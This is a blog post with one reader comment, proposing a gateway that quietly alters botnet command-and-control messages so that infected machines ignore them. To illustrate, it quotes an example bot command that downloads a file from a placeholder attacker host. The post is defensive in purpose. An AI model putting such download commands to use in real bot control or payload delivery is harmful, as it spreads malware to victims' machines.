Crazy Botnet Idea
I read with interest Gadi Evron's recent post, mitigating botnet C&Cs has become useless (while you're at it, read Richard Bejtlich's response, too). Gadi Evron has probably forgotten, relearned and forgotten again more things about botnets than I will ever know, so when he speaks on the subject, I pay attention.
As with most security problems, the basic issue here is that competition drives innovation. Like biological evolution, the digitial evolutionary imperative mandates that as we improve our defensive techniques, the Bad Guys also improve their offense. With the transition from amateur malware writers to professional bad actors, the pace of this evolution has already and will continue to increase dramatically.
So what can we do? First, let me make the following assertion:
I don't think anyone would disagree with that statement. Let's follow it up with another:
Now, if we accept Gadi's premise that cutting off C&C channels is harmful in the long run, where does that leave us?
The root of that premise is that long-term harm occurs because our current methods have too high an impact on botnets. By shutting off the C&C servers, we take a discernable action, forcing the botnet owners to respond or lose access to their net.
Let's think about this for a second. If we've so far fought the problem by shutting down C&C servers, it stands to reason that most of the botnet countermeasures have also evolved to deal specifically with that sort of threat. If we're able to change our response, we may gain (temporary) advantage.
So here's my crazy idea. The HoneyNet Project already has tools that dynamically modify network traffic in order to prevent outgoing attacks from their honeypots from affecting other Internet hosts. Let's repurpose this technology to act in reverse; let's use it to protect our hosts from fully participating in identified botnet C&C channels.
How would this work? I haven't worked all the details out, but I'm thinking of something like the following:
- The attacker sends a command to a host through the C&C channel (e.g., .download http://my.bad.host/file.exe)
- An anti-botnet gateway at the user's site intercepts this, and transparently modifies the packet to say something slightly different (e.g., .d0wnl04d http://my.bad.host/file.exe)
- The botnet node on the compromised PC doesn't recognize this as a command, so takes no action
- The attacker never realizes that he's lost control of the botnet node, because it's still participating in the C&C communication channel. Even though he's not getting any responses to some of his dangerous commands, perhaps less dangerous commands are working well, disguising the fact that we're interfering with his attacks.
You're probably saying to yourself, "Hey, this requires a lot of work to maintain." If so, you'd be right. We'd have to track the botnet C&C channels, analyze their command structures and somehow get updates out to the protected sites. I think of this as sort of an extension to current spyware/malware discovery processes, and we'd probably need some serious commercial support if this idea were to ever be implemented.
The point is, we've tried attacking the problem both from the C&C side (shutting down servers) and from the client side (patch management & user education). Now let's try something that more fully leverages our control over our own network infrastructure, too.
I told you it was a crazy idea.
1 comment:
David:
Patch management and firewalls have worked pretty effectively for enterprises, where the work can be offloaded to IT teams--less than 1% of bots are in enterprise environments. It doesn't work in the consumer environment. Any solution that requires average consumers to become power users and conscientious sysadmins for their home systems is doomed to failure--the protection has to either come automatically from the OS or automatically (at no extra charge) from the ISPs who provide them service.
Network-based solutions are the way to go--more reliable automated bot and botnet detection and mitigation at the network layer will give the most bang for the buck.
Most botnet controllers are at a fairly small number of providers (mostly high-volume, low-cost webhosting providers) who also could, if given the right incentives, take actions to reduce that activity, but at some point botnets could just go completely P2P in response, so that's not a complete solution.
I think a diversity of approaches is best--continue stomping botnet controllers, going after individual bots, honeypots for malware collection and reverse-engineering (and collecting data for law enforcement), law enforcement prosecutions, network-level defenses, providing economic incentives (perhaps by imposing liability) for ISPs and OS and network-based application providers to provide automated upgrade solutions for the non-power-user environments.
I think we need it all.
Post a Comment